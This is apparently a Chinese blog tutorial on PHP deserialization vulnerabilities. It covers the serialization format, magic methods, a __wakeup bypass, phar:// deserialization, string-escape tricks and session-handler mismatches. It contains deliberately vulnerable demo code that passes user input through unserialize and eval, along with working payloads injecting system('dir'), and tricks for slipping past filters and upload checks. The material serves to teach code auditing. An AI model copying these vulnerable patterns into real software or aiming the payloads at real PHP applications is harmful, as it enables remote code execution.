php反序列化浅析

前言

进阶的代码审计,反序列化是绕不过的坎啊。主流的几个Web开发语言,像php、C#、Java都有反序列化,其中就属php的反序列化简单易懂,反序列化的学习之路就从这里开始。

什么是反序列化

如果想要持久化保存一个对象,除了将对象的内容保存在数据库中,还能将对象序列化,使其转换为一串数据。序列化使得对象的保存和传输变得更为简便,其中序列化的对象可以是类对象、变量、数组等。对象的还原则通过反序列化实现。

PHP反序列化格式

序列化的对象有不同的类型,为了区分不同的类型,序列化的字符串自然有不同的格式。php常见的类型序列化后的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

$str = "str";
$int = 1;
$float = 1.1;
$obj = new DateTime();
$arr = array(1);
$bool = true;
$null = null;

echo serialize($str);
echo "<br>";
echo serialize($int);
echo "<br>";
echo serialize($float);
echo "<br>";
echo serialize($obj);
echo "<br>";
echo serialize($arr);
echo "<br>";
echo serialize($bool);
echo "<br>";
echo serialize($null)

开头的一个字符代表类型,后面跟着一个冒号:用于分隔类型和值;对于字符串类型、变量名和类名,代表类型的字符后还跟着一个数字,用于描述后面字符串的长度;相同的,类对象和数组也存在一个数字用于描述类对象属性数量或数组长度,其中属性或数组内容用一对花括号括起来,花括号里可以嵌套其他类型的序列化内容 。

除此之外还有两个不常见,但值得关注的类型描述符:大写S和大写R,大写S可以传入hex编码的字符,大写R可以从左到右与第n个反序列化的变量进行绑定。

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$hex = 'S:3:"\31\32\33";';
$res = 'a:2:{s:3:"abc";s:3:"abc";s:3:"res";R:2;}';

echo unserialize($hex);
echo "<br>";
$arr = unserialize($res);
echo var_dump($arr);
echo "<br>";
$arr["abc"] = "def";
echo var_dump($arr)

对于php的类,其属性的访问修饰符有三种:publicprotectedprivate,序列化区分访问修饰符是通过属性的标记实现的。序列化时可能会看到属性名的长度和描述的长度不一致,是因为protectedprivate修饰的变量名在经过序列化后包含了不可见的00字符。

下列代码将序列化后的00字符替换为url编码,就可以很直观的看到它的位置。protected修饰符的格式为:%00*%00属性名,private修饰符的格式为:%00类名%00属性名,public修饰符则直接为属性名。

1
2
3
4
5
6
7
8
9
10
<?php

class Test
{
public $public;
protected $protected;
private $private;
}

echo str_replace("\x00","%00",serialize(new Test()));

PHP魔术函数

反序列化不会直接控制代码的执行流程,但通过特定条件下会被自动调用的魔术方法构成POP链,可以实现命令执行、文件读写等功能。PHP中所有的魔术方法和作用如下:

方法名 作用
__construct 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup 使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__call 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic 在静态上下文中调用不可访问的方法时触发
__get 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset 当对不可访问属性调用isset()empty()时触发
__unset 当对不可访问属性调用unset()时触发
__invoke 当脚本尝试将对象调用为函数时触发
__serialize serialize()函数会检查类中是否存在一个魔术方法 __serialize()。如果存在,该方法将在任何序列化之前优先执行。如果类中同时定义了 __serialize()__sleep() 两个魔术方法,则只有 __serialize() 方法会被调用。
__unserialize unserialize()函数检查是否存在魔术方法__unserialize()。如果存在,此函数将接收从__serialize()返回的数组,然后根据需要从该数组中恢复对象的属性。
__set_status 起当调用 var_export()导出类时,此方法会被调用。
__clone 使用clone关键字来进行对象复制时__clone方法会被调用。
__debugInfo 使用var_dump()函数输出一个对象的属性时__debuginfo方法会被调用。

魔术方法触发的方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
<?php

class Test
{
public $public;
protected $protected;
private $private;

function __construct()
{
echo "construct";
echo "<br>";
}

function __toString()
{
echo "toString";
echo "<br>";
return "";
}

function __call($name,$args)
{
echo "call";
echo "<br>";
}

static function __callStatic($name,$args)
{
echo "callStatic";
echo "<br>";
}

function __get($name)
{
echo "get";
echo "<br>";
}

function __set($name,$value)
{
echo "set";
echo "<br>";
}

function __isset($name)
{
echo "isset";
echo "<br>";
}

function __unset($name)
{
echo "unset";
echo "<br>";
}

function __invoke()
{
echo "invoke";
echo "<br>";
}

static function __set_status($arr)
{
echo "set_status";
echo "<br>";
}

function __clone()
{
echo "clone";
echo "<br>";
}

function __debugInfo()
{
echo "debugInfo";
echo "<br>";
return null;
}

public function __serialize(): array
{
echo "serialize";
echo "<br>";
return [
'public' => $this->public,
'protected' => $this->protected,
'private' => $this->private,
];
}

function __unserialize(array $data): void
{
echo "unserialize";
echo "<br>";
}

function __sleep()
{
echo "sleep";
echo "<br>";
return array('public', 'protected', 'private');
}

function __wakeup()
{
echo "wakeup";
echo "<br>";
}

function __destruct()
{
echo "destruct";
echo "<br>";
}
}

// construct
$test = new Test();
// toString
echo $test;
// call
$test->fun();
// callStatic
Test::fun();
// get
echo $test->private;
// set
$test->private = "private";
// isset
isset($test->private);
// unset
unset($test->private);
// invoke
$test();
// set_status
eval(var_export($test,true).";");
// clone
$test1 = clone $test;
// debugInfo
var_dump($test);
echo "<br>";
// serialize
$ser = serialize($test);
// unserialize
$unser = unserialize($ser);

unset($test);
unset($test1);

顺便说下,__serialize__unserialize这两个特性在php7.4以后才有效。

PHP反序列化特性

__wakeup绕过

__wakeup绕过利用的不是php的某个特性,而是一个有CVE编号的漏洞,不过在我看来只是个bug,不知道为什么能分到CVE编号。受影响的版本为PHP5的5.6.25以下和PHP7的7.0.10以下。漏洞的利用很简单:当序列化字符串中描述对象属性个数的数字比实际的属性个数大,则反序列化时__wakeup方法则不执行。

利用场景嘛,就是以下这种__wakeup方法有替换或者过滤的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class Weakup{
var $command;

function __wakeup(){
$this->command = "phpinfo();";
}

function __destruct(){
@eval($this->command);
}
}

$obj = unserialize($_GET['obj']);

以上payload中,序列化字符串描述属性有两个,但实际只有一个,绕过了__wakeup,command参数没有被替换为phpinfo,执行了我们的dir命令。

phar反序列化

直接的php反序列化使用的是unserialize这个函数,但很多时候不一定会有这个函数,这个可以利用phar实现反序列化。phar是php的归档文件,phar中有一处存储序列化后的mate-data信息,通过phar://伪协议,配合某些文件函数就可以进行php反序列化。

生成Phar归档文件的代码如下,从seebug上CV下来的,setMetadata方法的参数就是需要序列化的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

第一次运行可能会报phar无法生成的问题,按照报错信息在配置文件中把phar.readonly关闭即可。

打开生成的phar归档文件,在里面可以看到序列化后的TestObject对象。

然后就可以使用文件函数配合phar:\\伪协议,进行php反序列化。可用的文件函数如下,也是用的seebug的图。

写个Demo测试下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class TestObject
{
var $command;

function __wakeup()
{
@eval($this->command);
}
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$o->command = "phpinfo();";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

file_get_contents("phar://phar.phar/test.txt");
?>

顺便说下,我用php8测试phar:\\伪协议的时候发现它不会进行反序列化了。网上查了下,P神的文章里说php8里的Phar中的元信息不再自动进行反序列化了。

关于phar反序列化还有两个trick,当代码中有过滤,传入的文件名不能以phar://开头,但在前面加上compress.zlib://还是能反序列化;phar归档文件的stub标志只需__HALT_COMPILER(); ?>,前面可加上任何内容,可以绕过文件头检测的文件上传。

字符串逃逸

在php中是靠描述的长度来识别字符串变量开始与结束,以分号;来分隔,以花括号}来代表对象或数组的结束,所以像下列代码一样,字符串变量中的双引号花括号或序列化字符串后加上点内容也丝毫不影响反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class Test{
var $test;
}

$unser1 = 'O:4:"Test":1:{s:4:"test";s:12:"testtest"}}}";}';
$unser2 = 'O:4:"Test":1:{s:4:"test";s:12:"testtesttest";}""""}}}}';

var_dump(unserialize($unser1));
echo "<br>";
var_dump(unserialize($unser2));

因为这种特性,如果在序列化后对序列化字符串进行过滤或替换,使得替换前后的长度发生变化,一边情况下会导致反序列化出错,在加以利用可造成字符串的逃逸,修改其他参数的值。

根据替换前后的长度变化,可将情况跟为两种:替换后长度变长、替换后长度变短,以下分别分析这两种情况。

替换后长度变长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

class Test
{
var $test;
var $command;

function __wakeup()
{
@eval($this->command);
}
}

$test = new Test();
$test->command = "phpinfo();";
$test->test = $_GET["test"];
$ser = serialize($test);
$ser = str_replace("z", "zz", $ser);
var_dump(unserialize($ser));

这个Demo的目的是要把commond属性替换为我们的命令,需要逃逸的字符串为";s:7:"command";s:14:"system('dir');";},替换前后的长度变化为由1变2,那令z的长度等于需要逃逸的字符串的长度即可,最终payload为:

1
zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";s:7:"command";s:14:"system('dir');";}

替换后长度变短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class Test
{
var $test1;
var $test2;
var $command;

function __wakeup()
{
@eval($this->command);
}
}

$test = new Test();
$test->command = "phpinfo();";
$test->test1 = $_GET["test1"];
$test->test2 = $_GET["test2"];
$ser = serialize($test);
$ser = str_replace("ab", "", $ser);
var_dump(unserialize($ser));

替换后长度由长变短,似乎需要至少两个属性可控才能逃逸字符串。第一个属性用于减少减短长度,第二字符串用于逃逸字符串,需要减少的长度为第一个属性的内容到第二个属性需要逃逸的字符串之间的距离。最终payload为以下内容。需要注意的是,长度减短后,test2属性就被吞掉了,逃逸时需要加一个属性使得属性数量为3,才能正常反序列化。由于php不存在的属性也能被反序列化的特殊,这里随便加个属性即可。

1
test1=abababababababababab&test2=";s:7:"command";s:14:"system('dir');";i:1;s:1:"a";}

session反序列化

php中的session一般以文件形式存储,存储的格式又为序列化格式。php的session序列化处理器有三种,分别为phpphp_serializephp_binary,通过php.ini中的session.serialize_handler设置,默认为php

  • php序列化处理器

    1
    2
    3
    4
    5
    <?php

    ini_set('session.serialize_handler','php');
    session_start();
    $_SESSION["test"]="session";

    session的格式为:键加上分隔符|加上序列化内容。

  • php_serialize序列化控制器

    1
    2
    3
    4
    5
    <?php

    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION["test"]="session";

    session的格式为:$_SESSION这个数组的序列化内容。

  • php_binary序列化处理器

    1
    2
    3
    4
    5
    <?php

    ini_set('session.serialize_handler','php_binary');
    session_start();
    $_SESSION["test"]="session";

    session的格式为:一个字节记录键的长度,然后拼上键,再拼上序列化内容。这里键test的长度为4,所以记录的键长度的字节为04

当程序员混用序列化控制器时,由于session内容的解析方式不同,再精心构造下可造成反序列化漏洞。网上的文章大都是php_serialize保存session,php读取session这种方式造成反序列化漏洞的,这里就先探讨这种方式。

php_serialize转php

1
2
3
4
5
6
// php_serialize.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["test"] = $_GET["test"];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// php.php

<?php

ini_set('session.serialize_handler','php');
session_start();

class Test
{
var $command;

function __wakeup()
{
@eval($this->command);
}
}

当test传入的内容为|O:4:"Test":1:{s:7:"command";s:10:"phpinfo();";},保存session时,php_serialize直接序列化$_SESSION数组;读取session时,由php解析,由于有一个分隔符|,分隔符前的内容被当成键,分隔符后的内容被当成序列化内容,并会被自动的反序列化,然后自动调用魔术方法__wakeup,执行了phpinfo

php_binary转php

payload与php_serialize转php的通用,这里就不细说了。

php_binary转php_serialize

php_serialize序列化处理器要能反序列化,php_binary相应的就需要以a开头,所以键长度要为116。总的来说,这种情况反序列化漏洞,需要session的键可控才可实现了。

最后的poc是这样,后面一串a用来填充长度到116:

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION[':1:{s:1:"a";O:4:"Test":1:{s:7:"command";s:10:"phpinfo();";};}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'] = "a";

php_serialize转php_binary

php_serialize处理器开头总是a,转到php_binary解析键长度需要为116,所以填充需要放在开头,加上其他的序列化内容的长度要为116。因为Demo里只有一个键值对,所以payload的构造简单点,如果存在其他的键值对,构造就里会复杂点,甚至没法构造。

1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaO:4:"Test":1:{s:7:"command";s:10:"phpinfo();";}

以上payload在php_serialize序列化处理器下生成的session,在php_binary里的解析方式如下:

session反序列化小结

其他组合的session反序列化跟以上几个也大同小异,总的来说,主要围绕着首字节和分隔符|构造payload。除了转php的,也就是分隔符造成的反序列化漏洞外,其他组合的session反序列化,需要键名可控、session内容已知、可控键值对在session中靠前等条件,利用难度还是挺高的。

后记

PHP反序列化浅析终于写完了,时间比我预期的要久。水文章也是不能偷懒滴,希望后面的学习提高下效率吧,下一站,向Java反序列化进发!

参考

https://www.php.net/manual/en/language.oop5.magic.php

https://paper.seebug.org/680/

https://www.leavesongs.com/PHP/php-8-0-release.html

https://blog.csdn.net/qq_45521281/article/details/107135706

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×